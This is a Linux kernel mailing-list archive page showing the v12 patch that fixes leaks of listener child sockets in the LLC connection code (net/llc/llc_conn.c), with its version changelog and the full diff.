Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v12:
  - Order llc_conn_handler() locals in reverse Christmas tree order.
  - Limit child creation to SABME; preserve listener-side DM responses for
    DISC and other P=1 commands.
  - Hold skb->dev through backlog processing and drop ownerless deferred
    SABMEs if the listener leaves TCP_LISTEN before drain.
  - Keep accept-queue accounting and release unaccepted children on
    failure and teardown.
  - v11 Link:
    https://lore.kernel.org/all/cover.1790062133.git.zihanx@nebusec.ai/

changes in v11:
  - Defer listener child creation until backlog admission and disable
    bottom halves while publishing and processing a new child.
  - v10 Link:
    https://lore.kernel.org/all/cover.1789824800.git.zihanx@nebusec.ai/

changes in v10:
  - Complete SABME failure and teardown cleanup, count indications against
    the accept backlog, and serialize child publication and lookup.
  - v9 Link:
    https://lore.kernel.org/all/cover.1789216793.git.zihanx@nebusec.ai/

changes in v9:
  - Narrow the fix to non-SABME listener leaks; preserve the SABME child
    lifecycle and handle DISC/P=1 commands with listener-side DM replies.
  - v8 Link:
    https://lore.kernel.org/all/abc8b115321dbd417b8491d9e51f1988998ff50e.1788707641.git.zihanx@nebusec.ai/

changes in v8:
  - Correct queued-child reference handling and prevent stale or released
    children from reaching accept and backlog state-machine paths.
  - v7 Link:
    https://lore.kernel.org/all/cover.1788414881.git.zihanx@nebusec.ai/

changes in v7:
  - Drop the overlapping LLC state-bound patch and keep the listener leak
    fix, with child teardown and reproducer/crash evidence updates.
  - v6 Link:
    https://lore.kernel.org/all/cover.1787752861.git.zihanx@nebusec.ai/

changes in v6:
  - Track pending-child references across accept, receive, backlog and
    listener close paths.
  - v5 Link:
    https://lore.kernel.org/all/20260822082354.3109-1-zihanx@nebusec.ai/

changes in v5:
  - Reclaim pending children on listener-state/close paths and split the
    LLC_CONN_OUT_OF_SVC state-bound change into a separate patch.
  - v4 Link:
    https://lore.kernel.org/all/20260814185843.4748-1-zihanx@nebusec.ai/

changes in v4:
  - Introduce SABME-only child creation, listener DM replies and serialized
    rollback/close cleanup for unaccepted children.
  - v3 Link:
    https://lore.kernel.org/all/20260805175945.10698-1-zihanx@nebusec.ai/

changes in v3:
  - Remove an unused local and rebase the patch.
  - v2 Link:
    https://lore.kernel.org/all/cover.1785386749.git.zihanx@nebusec.ai/

changes in v2:
  - Preserve SAP tuple matching while tracking pending children and
    reclaiming them on failure/drop paths; correct Fixes attribution.
  - v1 Link:
    https://lore.kernel.org/all/cover.1784725007.git.zihanx@nebusec.ai/
---

 net/llc/llc_conn.c | 175 +++++++++++++++++++++++++++++++++++++++++----
 1 file changed, 163 insertions(+), 12 deletions(-)

diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
index 260460d50f54c..77044720f12ff 100644
--- a/net/llc/llc_conn.c
+++ b/net/llc/llc_conn.c
@@ -32,6 +32,7 @@ static int llc_exec_conn_trans_actions(struct sock *sk,
 				       struct sk_buff *ev);
 static const struct llc_conn_state_trans *llc_qualify_conn_ev(struct sock *sk,
 							      struct sk_buff *skb);
+static void __llc_sk_free(struct sock *sk, bool sync);
 
 /* Offset table on connection states transition diagram */
 static int llc_offset_table[NBR_CONN_STATES][NBR_CONN_EV];
@@ -90,6 +91,8 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
 		 */
 		skb_get(skb);
 		skb_queue_tail(&sk->sk_receive_queue, skb);
+		if (sk->sk_state == TCP_LISTEN)
+			sk_acceptq_added(sk);
 		sk->sk_state_change(sk);
 		break;
 	case LLC_DISC_PRIM:
@@ -765,14 +768,124 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
 	memcpy(&newllc->laddr, daddr, sizeof(newllc->laddr));
 	memcpy(&newllc->daddr, saddr, sizeof(newllc->daddr));
 	newllc->dev = dev;
-	dev_hold(dev);
+	netdev_hold(dev, &newllc->dev_tracker, GFP_ATOMIC);
+	/* Serialize packets that can find the child after it is hashed. */
+	bh_lock_sock_nested(newsk);
 	llc_sap_add_socket(llc->sap, newsk);
 out:
 	return newsk;
 }
 
+static bool llc_sk_unhashed(const struct sock *sk)
+{
+	return hlist_nulls_unhashed_lockless(&sk->sk_nulls_node);
+}
+
+static void llc_free_incoming_sock(struct sock *sk, bool bh_locked)
+{
+	struct llc_sock *llc = llc_sk(sk);
+	struct llc_sap *sap = llc->sap;
+	struct net_device *dev = llc->dev;
+
+	if (!bh_locked) {
+		local_bh_disable();
+		bh_lock_sock_nested(sk);
+	}
+	llc->state = LLC_CONN_OUT_OF_SVC;
+	/* Keep both objects alive through timer teardown. */
+	llc_sap_hold(sap);
+	netdev_hold(dev, NULL, GFP_ATOMIC);
+	llc_sap_remove_socket(sap, sk);
+	bh_unlock_sock(sk);
+	if (!bh_locked)
+		local_bh_enable();
+	netdev_put(dev, &llc->dev_tracker);
+	sock_orphan(sk);
+	/* Initial SABME setup arms no timers before it can fail. */
+	__llc_sk_free(sk, !bh_locked);
+	netdev_put(dev, NULL);
+	llc_sap_put(sap);
+}
+
+static void llc_conn_ind_rfree(struct sk_buff *skb)
+{
+	struct sock *sk = skb->sk;
+
+	sock_rfree(skb);
+	if (!sk->sk_socket)
+		llc_free_incoming_sock(sk, false);
+}
+
+static void llc_conn_send_dm_rsp(struct llc_sap *sap, struct sk_buff *skb,
+				 const struct llc_addr *saddr, u8 f_bit)
+{
+	struct sk_buff *nskb;
+	int rc;
+
+	nskb = llc_alloc_frame(NULL, skb->dev, LLC_PDU_TYPE_U, 0);
+	if (!nskb)
+		return;
+
+	llc_pdu_header_init(nskb, LLC_PDU_TYPE_U, sap->laddr.lsap,
+			    saddr->lsap, LLC_PDU_RSP);
+	llc_pdu_init_as_dm_rsp(nskb, f_bit);
+	rc = llc_mac_hdr_init(nskb, skb->dev->dev_addr, saddr->mac);
+	if (unlikely(rc))
+		kfree_skb(nskb);
+	else
+		dev_queue_xmit(nskb);
+}
+
+static void llc_listener_send_dm(struct llc_sap *sap, struct sock *sk,
+				 struct sk_buff *skb, const struct llc_addr *saddr)
+{
+	if (!llc_conn_ev_rx_disc_cmd_pbit_set_x(sk, skb)) {
+		u8 f_bit;
+
+		llc_pdu_decode_pf_bit(skb, &f_bit);
+		llc_conn_send_dm_rsp(sap, skb, saddr, f_bit);
+	} else if (!llc_conn_ev_rx_xxx_cmd_pbit_set_1(sk, skb)) {
+		llc_conn_send_dm_rsp(sap, skb, saddr, 1);
+	}
+}
+
+static int llc_conn_rcv_sabme(struct sock *sk, struct sk_buff *skb,
+			      struct llc_addr *saddr,
+			      struct llc_addr *daddr)
+{
+	struct sock *newsk;
+	int rc;
+
+	if (sk_acceptq_is_full(sk))
+		goto drop;
+
+	local_bh_disable();
+	newsk = llc_create_incoming_sock(sk, skb->dev, saddr, daddr);
+	if (!newsk) {
+		local_bh_enable();
+		goto drop;
+	}
+	skb_set_owner_r(skb, newsk);
+	rc = llc_conn_rcv(sk, skb);
+	if (unlikely(rc || llc_sk(newsk)->state != LLC_CONN_STATE_NORMAL)) {
+		if (!rc)
+			rc = -EINVAL;
+		llc_free_incoming_sock(newsk, true);
+	} else {
+		/* The indication owns the child until accept() grafts it. */
+		skb->destructor = llc_conn_ind_rfree;
+		bh_unlock_sock(newsk);
+	}
+	local_bh_enable();
+	return rc;
+drop:
+	kfree_skb(skb);
+	return 0;
+}
+
 void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 {
+	struct net_device *backlog_dev = NULL;
 	struct llc_addr saddr, daddr;
 	struct sock *sk;
 
@@ -786,6 +899,10 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 		goto drop;
 
 	bh_lock_sock(sk);
+	if (unlikely(llc_sk_unhashed(sk)))
+		goto drop_unlock;
+	if (unlikely(llc_sk(sk)->state == LLC_CONN_OUT_OF_SVC))
+		goto drop_unlock;
 	/*
 	 * This has to be done here and not at the upper layer ->accept
 	 * method because of the way the PROCOM state machine works:
@@ -795,11 +912,14 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 	 * in the newly created struct sock private area. -acme
 	 */
 	if (unlikely(sk->sk_state == TCP_LISTEN)) {
-		struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
-							      &saddr, &daddr);
-		if (!newsk)
+		if (llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
+			llc_listener_send_dm(sap, sk, skb, &saddr);
 			goto drop_unlock;
-		skb_set_owner_r(skb, newsk);
+		}
+		if (!sock_owned_by_user(sk)) {
+			llc_conn_rcv_sabme(sk, skb, &saddr, &daddr);
+			goto out;
+		}
 	} else {
 		/*
 		 * Can't be skb_set_owner_r, this will be done at the
@@ -813,13 +933,16 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 		skb->sk = sk;
 		skb->destructor = sock_efree;
 	}
-	if (!sock_owned_by_user(sk))
-		llc_conn_rcv(sk, skb);
-	else {
+	if (sock_owned_by_user(sk)) {
 		dprintk("%s: adding to backlog...\n", __func__);
 		llc_set_backlog_type(skb, LLC_PACKET);
+		/* The backlog can outlive the RCU protection of skb->dev. */
+		backlog_dev = skb->dev;
+		netdev_hold(backlog_dev, NULL, GFP_ATOMIC);
 		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
 			goto drop_unlock;
+	} else {
+		llc_conn_rcv(sk, skb);
 	}
 out:
 	bh_unlock_sock(sk);
@@ -830,6 +953,7 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 	return;
 drop_unlock:
 	kfree_skb(skb);
+	netdev_put(backlog_dev, NULL);
 	goto out;
 }
 
@@ -852,12 +976,33 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
 {
 	int rc = 0;
 	struct llc_sock *llc = llc_sk(sk);
+	struct net_device *dev = NULL;
 
 	if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
-		if (likely(llc->state > 1)) /* not closed */
-			rc = llc_conn_rcv(sk, skb);
-		else
+		/* Drop the reference acquired before the skb entered the backlog. */
+		dev = skb->dev;
+		if (unlikely(sk->sk_state == TCP_LISTEN)) {
+			struct llc_addr saddr, daddr;
+
+			if (llc_sk_unhashed(sk) ||
+			    llc->state == LLC_CONN_OUT_OF_SVC)
+				goto out_kfree_skb;
+			if (llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
+				llc_pdu_decode_sa(skb, saddr.mac);
+				llc_pdu_decode_ssap(skb, &saddr.lsap);
+				llc_listener_send_dm(llc->sap, sk, skb, &saddr);
+				goto out_kfree_skb;
+			}
+			llc_pdu_decode_sa(skb, saddr.mac);
+			llc_pdu_decode_ssap(skb, &saddr.lsap);
+			llc_pdu_decode_da(skb, daddr.mac);
+			llc_pdu_decode_dsap(skb, &daddr.lsap);
+			rc = llc_conn_rcv_sabme(sk, skb, &saddr, &daddr);
+			goto out;
+		} else if (unlikely(llc->state <= 1 || !skb->sk)) {
 			goto out_kfree_skb;
+		}
+		rc = llc_conn_rcv(sk, skb);
 	} else if (llc_backlog_type(skb) == LLC_EVENT) {
 		/* timer expiration event */
 		if (likely(llc->state > 1))  /* not closed */
@@ -869,6 +1014,7 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
 		goto out_kfree_skb;
 	}
 out:
+	netdev_put(dev, NULL);
 	return rc;
 out_kfree_skb:
 	kfree_skb(skb);
@@ -964,12 +1110,17 @@ void llc_sk_stop_all_timers(struct sock *sk, bool sync)
  *	Frees a LLC socket
  */
 void llc_sk_free(struct sock *sk)
+{
+	__llc_sk_free(sk, true);
+}
+
+static void __llc_sk_free(struct sock *sk, bool sync)
 {
 	struct llc_sock *llc = llc_sk(sk);
 
 	llc->state = LLC_CONN_OUT_OF_SVC;
 	/* Stop all (possibly) running timers */
-	llc_sk_stop_all_timers(sk, true);
+	llc_sk_stop_all_timers(sk, sync);
 #ifdef DEBUG_LLC_CONN_ALLOC
 	printk(KERN_INFO "%s: unackq=%d, txq=%d\n", __func__,
 		skb_queue_len(&llc->pdu_unack_q),
-- 
2.43.0


^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-09-24 16:32 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-09-24 16:32 [PATCH net v12 0/1] llc: fix listener child socket leaks Zihan Xi
2026-09-24 16:32 ` [PATCH net v12 1/1] " Zihan Xi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®